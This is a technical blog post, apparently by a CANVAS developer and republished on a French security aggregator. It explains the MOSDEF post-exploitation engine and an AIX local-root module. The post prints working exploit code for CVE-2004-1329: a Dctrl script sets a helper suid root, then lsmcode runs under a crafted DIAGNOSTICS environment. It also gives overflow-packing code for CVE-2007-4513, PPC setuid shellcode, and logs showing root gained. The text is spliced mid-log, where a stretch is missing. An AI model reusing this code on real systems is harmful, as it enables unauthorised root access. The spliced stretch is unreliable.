|
|
|
Things to do with MOSDEF when you're dead |
Si vous voulez bloquer ce service sur vos fils RSS
Si vous voulez nous contacter ou nous proposer un fil RSS
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Things to do with MOSDEF when you're dead Par A bug's lifeLe [2009-01-14] à 21:31:15
Présentation : MOSDEF, aptly named by frontman Aitel after some rapper guy, is a mysterious beast to many. It's driven most CANVAS developers to the edge of insanity and back. As evident from Rich Smith's bloodshot eyes, MOSDEF can be quite the thrill ride. Rich, in case you were wondering, is the Immunity Brit who is currently revamping the MOSDEF C parser. Some of you may know him from his 12 page CANVAS release messages :) The best way to describe MOSDEF is to think of it like a multi-platform (Windows/Solaris/Linux/AIX/OSX/BSD) multi-architecture (PPC/SPARC/X86) C-compiler written in Python, that drives the CANVAS post-exploitation engine, which in turn revolves around remote libc's called MOSDEFShellServers. Right. Anyhow, one of my pet Immunity projects is the MOSDEF AIX support. Mostly because I wanted to play around with PPC, secondly because AIX is the most recently implemented MOSDEF platform, and also because watching Kostya hack Windows makes me feel like a small child that wants to hide in the comforting bosom of mother UNIX. The cool thing about AIX from an exploit development point of view is that it has about 5 million bugs, so there's lots of bugclasses to do and lots of MOSDEF features to implement. Besides some architecture quirks like icache/dcache syncing and platform quirks such as per-process syscall number sets, AIX is quite vanilla when it comes to exploit development. The real pain with AIX is the problem of portability and cross-version attack support (mostly resulting from those pesky syscall sets). As an offshoot of MOSDEF AIX support, one of my running projects is the CANVAS "aixroot" module. Aixroot is my idea of what a local exploitation module for CANVAS should look like. It is a modular local exploitation mini-framework and it relies _heavily_ on MOSDEF for all it does. So much in fact, that I feel it makes for a good walk through of how MOSDEF works, which seems to be a subject of much confusion and debate. Let's start at the beginning: CANVAS works with the concept of nodes. A node is a resource you've established access to that has a set of capabilities. Practical example: A Windows machine you've compromised with MS08-067 is turned into a win32Node with full MOSDEF capabilities (system API). Likewise a SMB share you accessed with the CANVAS smbclient, turns into a smbNode with VFS capabilities (upload/download/etc.). Make sense? Cool. So in that context, our initial access to an AIX machine is going to be an aixNode. That means we have a MOSDEF shell up and running on the AIX system via whatever means (trojan, exploit, etc.). So what does that look like? [ Wed Jan 14 12:33:21 2009 ]Connected to by ('192.168.1.101', 32850) [ Wed Jan 14 12:33:21 2009 ]Connected, AIX MOSDEF [C] Self.fd=3 [C] mainloop length=276 [C] Resetting signal handlers... [C] Defaulting SIGCHLD [C] Ignoring SIGPIPE [C] Getting UIDs [C] Calling findInterfaces [C] Reading 5 interfaces from remote side (160 len bytes) [C] Adding interface: en0 [C] Adding interface: lo0 Letting user interact with server AIX/MOSDEF$ id UID=202 EUID=202 GID=1 EGID=1 AIX/MOSDEF$ uname -a AIX localhost 2 5 000948BC4C00 AIX/MOSDEF$ Looks like a regular shell to me! What gives Bas? Well, there's a heap of stuff going on behind the scenes here. Most importantly what you're seeing is not a shell in the traditional sense. It's a MOSDEF shell, which is driven by a simple read-and-call loop on the target side and lots of confusing CANVAS plumbing on the attacking side. That means the actual code running on a CANVAS target is simple and easy to implement on any platform. Writing MOSDEF compatible trojans and payloads is very straightforward and boils down to something like this (pseudo-code): MOSDEFLoop: read integer n read n bytes data call data goto MOSDEFLoop Simple! But why? The main advantage here is that we get to send over native CPU instructions and they get executed within whatever process the MOSDEF loop is running in. This means we get system API access without the need to touch disk or execute binaries. Awesome. Does that means we have to write everything we want to do on the system in position independent assembly and then send over raw binary code? Yes it does, but hang in there. This is where MOSDEF comes into a play. Like I said before, MOSDEF is a multi-platform C-compiler that spans a variety of architectures. The trick here is that MOSDEF generates position independent code for you. Now the fact that MOSDEF is written in Python lets you import and use a full blown compiler in your exploits. What are the advantages of being able to do that? 1) rapid in-exploit payload development 2) rapid post-exploitation-action development. Here's a bad representation of how everything ties together in CANVAS. In the case of our AIX example the operation chain looks like this: [AIXNode] [MOSDEFLoop] [CANVAS] [MOSDEFShellServer] [MOSDEF] When I gave the "id" command on the MOSDEF shell prompt, CANVAS called out to the CANVAS MOSDEFShellServer associated with the AIXNode, the ShellServer in turn called out to something like: def ids(self): vars = {} code = """ #import "local","getuid" as "getuid" #import "local","geteuid" as "geteuid" #import "local","getgid" as "getgid" #import "local","getegid" as "getegid" #import "local","sendint" as "sendint" void main() { int i; i = getuid(); sendint(i); i = geteuid(); sendint(i); i = getgid(); sendint(i); i = getegid(); sendint(i); } """ self.clearfunctioncache() request = self.compile(code, vars) self.sendrequest(request) self.uid = self.readint() self.euid = self.readint() self.gid = self.readint() self.egid = self.readint() self.leave() return (self.uid, self.euid, self.gid, self.egid) Tied into the MOSDEFShellServer, is a MOSDEFLibc which resolves all the relevant imports to their desired system calls (e.g. getuid boils down to the relevant syscall wrapper call, sendint is generated to use the active fd for the aixNode, etc.), and ultimately the complete C code is passed to the actual MOSDEF compiler to be compiled and assembled. The compile call returns a block of position independent binary code, which we can then send to the MOSDEFLoop running on the aixNode. Most excellent. By tying in a compiler to the CANVAS framework, we have a relatively straightforward way to write and execute C code on our target system, with full system API access. The downside is, to keep things usable, you have to maintain your own 'remote' libc of sorts. This is essentially what the MOSDEFShellServers and MOSDEFLibc's are. So, as our base, let's take two completely different bugs. Say, CVE-2004-1329 and CVE-2007-4513. The first one is an oldschool, environment handling bug that results in a suid root binaries executing stuff for you. The second, CVE-2007-4513, is a straight forward stack overflow. We want to have both these bugs result in a straightforward privilege escalation of our existing aixNode. Diving into the first bug, the bug primitive is fairly straightforward. Using the DIAGNOSTICS environment variable, you can influence the path in which the diag tool looks for a binary to execute (Dctrl). The diag tool in turn is called from a variety of suid root binaries, one of which is lsmcode (there exists a very similar bug in lsmcode that came out in April last year, not to be confused with this one). -r-sr-xr-x 1 root system 10014 Oct 01 2004 /usr/sbin/lsmcode Exploiting this bug conveniently with CANVAS is fairly straightforward. We have an active connection to an established aixNode, and we want to elevate the privileges of the process running the MOSDEFLoop using the given bug primitive (executing an arbitrary binary as root). Taking into account that file descriptors are inherited across execve(2) calls, really all we need to do is upload a little helper binary using MOSDEF. This helper binary will take an fd argument and initiate a MOSDEFLoop using this passed file descriptor. If we use our bug primitive to make this binary suid root, we can then use execve(2) to replace our current process image with the helper binary, which will then continue the aixNode's MOSDEFLoop as if nothing happened. The file descriptor is nicely migrated across, and we are now running as root. But what if something goes wrong? Hrmm. Okay, so if something goes wrong, we want our original MOSDEFLoop to continue functioning as if nothing happened. Solution? We just fork, and wait on our child. If the child fails or blows up, the parent MOSDEFLoop continues as if nothing happened. If the child succeeds, the parent waits until we are done with our root privileges! (Which is, of course, never). The aixroot module was designed to be easily extended, so first we plug our new proposed exploit into the aixroot module: class theexploit(canvasexploit): def __init__(self): canvasexploit.__init__(self) self.AIXlocals = {} self.AIXlocals['CVE_2007_4003'] = getModuleExploitClass('CVE_2007_4003', which='CVE_2007_4003') self.AIXlocals['CVE_2007_4513'] = getModuleExploitClass('CVE_2007_4513', which='CVE_2007_4513') self.AIXlocals['CVE_2004_1329'] = getModuleExploitClass('CVE_2004_1329', which='CVE_2004_1329') self.CVE = None self.name = NAME return ... def run(self): self.setInfo('%s - (in progress)' % NAME) self.getargs() ret = False if self.CVE in self.AIXlocals: self.setInfo('%s - (%s)' % (NAME, self.CVE)) # this returns elevated node on success, false on Failure ret = self.AIXlocals[self.CVE](self, self.node.shell.version).exploit(self.node) if ret not in [False, None]: # init a new node with same SSid ret.shell.started = False ret.shell.startup() self.log("Done .. check your UID!") self.setInfo('%s - (finished)' % NAME) return ret Our actual exploit logic is then implemented in a separate module (CVE_2004_1329) and flows like this: class CVE_2004_1329: def __init__(self, parent, target = '5.2'): self.description = 'DIAGNOSTICS environment handling local root' self.t_path = '/usr/sbin/lsmcode' self.target = target self.log = parent.log self.fd = parent.node.shell.fd # the binary you want uploaded and executed as root ... self.versions = { '5.1' : 'backdoors/aix51_privesc', '5.2' : 'backdoors/aix52_privesc', '5.3' : 'backdoors/aix53_privesc' } return ... def exploit(self, node): """ trigger the mosdef exploit execve """ # first mkdir /tmp/.canvas/bin node.shell.mkdir('/tmp/.canvas') node.shell.mkdir('/tmp/.canvas/bin') try: binary = open(self.versions[self.target], 'rb+').read() except: self.log("error opening %s (not available?)" % self.versions[self.target]) return False # upload Dctrl script script = '' script += '#!/bin/sh ' script += 'chown root:system /tmp/.x ' script += 'chmod +s /tmp/.x ' if not self.upload_binary(node, script, '/tmp/.canvas/bin/Dctrl'): self.log("error uploading Dctrl script") return False # upload privesc binary if not self.upload_binary(node, binary, '/tmp/.x'): self.log("error uploading privesc binary") return False x_vars = {} x_vars['ENV'] = 'DIAGNOSTICS=/tmp/.canvas' x_vars['TARGET'] = self.t_path x_code = """ #import "local", "execve" as "execve" #import "local", "sendint" as "sendint" #import "local", "fork" as "fork" #import "local", "waitpid" as "waitpid" #import "local", "getpid" as "getpid" #import "local", "_exit" as "_exit" #import "string", "ENV" as "ENV" #import "string", "TARGET" as "TARGET" int main() { char *exec[2]; char *env[25]; int pid; int status; int ret; exec[0] = TARGET; exec[1] = 0; // baby bugs need loving environments env[0] = ENV; ... env[24] = 0; sendint(0); pid = fork(); if (pid) { status = 1; ret = waitpid(&status, pid, 0); } else { execve(exec[0], exec, env); _exit(0); } } """ try: ret = node.shell.runCode(x_code, x_vars) except: self.log("something bad happened!") import traceback traceback.print_exc(file=sys.stdout) return False # exec the privesc helper p_vars = {} p_vars['TARGET'] = "/tmp/.x"; p_vars['FD'] = "%d" % self.fd p_code = """ #import "local", "execve" as "execve" #import "local", "sendint" as "sendint" #import "local", "fork" as "fork" #import "local", "waitpid" as "waitpid" #import "local", "getpid" as "getpid" #import "local", "_exit" as "_exit" #import "string", "TARGET" as "TARGET" #import "string", "FD" as "FD" int main() { char *exec[3]; int pid; int status; int ret; exec[0] = TARGET; exec[1] = FD; exec[2] = 0; sendint(0); pid = fork(); if (pid) { status = 1; ret = waitpid(&status, pid, 0); } else { execve(exec[0], exec, 0); _exit(0); } } """ try: ret = node.shell.runCode(p_code, p_vars) except: self.log("something bad happened!") import traceback traceback.print_exc(file=sys.stdout) return False self.log("### Remember to cleanup! (/tmp/.canvas, /tmp/.x) ###") # disable call stack errno support on stuff that mangles the stack node.shell.errno = False return node Using our system API access, we upload 2 executables, the Dctrl script that will make our helper suid root, and the actual helper binary that will replace our forked process image. Once the forked process image is replaced, we return to the aixroot module, and the aixNode is re-initialized. Presto, now we have root on our existing connection, in theory: AIX/MOSDEF$ runmodule aixroot -O CVE:CVE_2004_1329 [C] Running module: aixroot [C] Args: -O CVE:CVE_2004_1329 Loading aixroot ... [ ok ] Loading CVE_2007_4003 ... [ ok ] Loading CVE_2007_4513 ... [ ok ] Loading CVE_2004_1329 ... [ ok ] ... [ Wed Jan 14 14:06:22 2009 ][C] (0.0.0.1/32) ID: 0 Setinfo: AIXroot - (CVE_2004_1329) AIXroot - (finished) L', 0x41414141) ovf += struct.pack('L', 0x42414141) ovf += struct.pack('L', self.versions[self.target]) ovf += struct.pack('L', 0x44414141) ovf += struct.pack('L', 0x45414141) ovf += struct.pack('L', 0x45414141) return ovf A setuid shellcode attribute for AIX PPC in the CANVAS shellcode generator looks like: def setuid(self, args): code=""" setuid: mflr r20 li r3, 0x%x li r2, SYS_setuid addi r20,r20,setuid_out - setuid mtlr r20 crorc 6, 6, 6 sc setuid_out: """ % args['uid'] code = self.libc.patch_defines_with_values(code, ["SYS_setuid"]) self.code += code Now, using the same fork/execve/wait logic, we trigger the vulnerability. If the exploit is unsuccessful and the child crashes or exits, the parent continues as if nothing happened. Otherwise, the payload takes over the session, and we are now running with elevated privileges! Let's put the theory to the test: AIX/MOSDEF$ id UID=202 EUID=202 GID=1 EGID=1 AIX/MOSDEF$ runmodule aixroot -O CVE:CVE_2007_4513 [C] Running module: aixroot [C] Args: -O CVE:CVE_2007_4513 ... [ Wed Jan 14 14:29:44 2009 ][C] (0.0.0.1/32) ID: 0 Setinfo: AIXroot - (in progress) AIXroot - (CVE_2007_4513) AIXroot - (finished) AIX/MOSDEF$ id UID=202 EUID=0 GID=0 EGID=0 AIX/MOSDEF$ shellshock [!] Turning MOSDEF-Node into temporary interactive shell [!] Note: will revert back to MOSDEF on "exit" ..........shellshocked! # uname -a AIX localhost 2 5 000948BC4C00 # Cool beans. As you can see, contrary to popular belief, there is _some_ reason to the rhyme of MOSDEF.
Les derniers articles du site "A bug's life" :
- On wrestling crocodiles - Taking the left hand path - Oh bugger. - Size matters when hell freezes over - Things to do with MOSDEF when you're dead - You can only sit down if you are a human being
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Si vous voulez bloquer ce service sur vos fils RSS :
- avec iptables "iptables -A INPUT -s 88.191.75.173 --dport 80 -j DROP"
- avec ipfw et wipfw "ipfw add deny from 88.191.75.173 to any 80"
- Nous contacter par mail
| Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
| Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
| Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
| Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|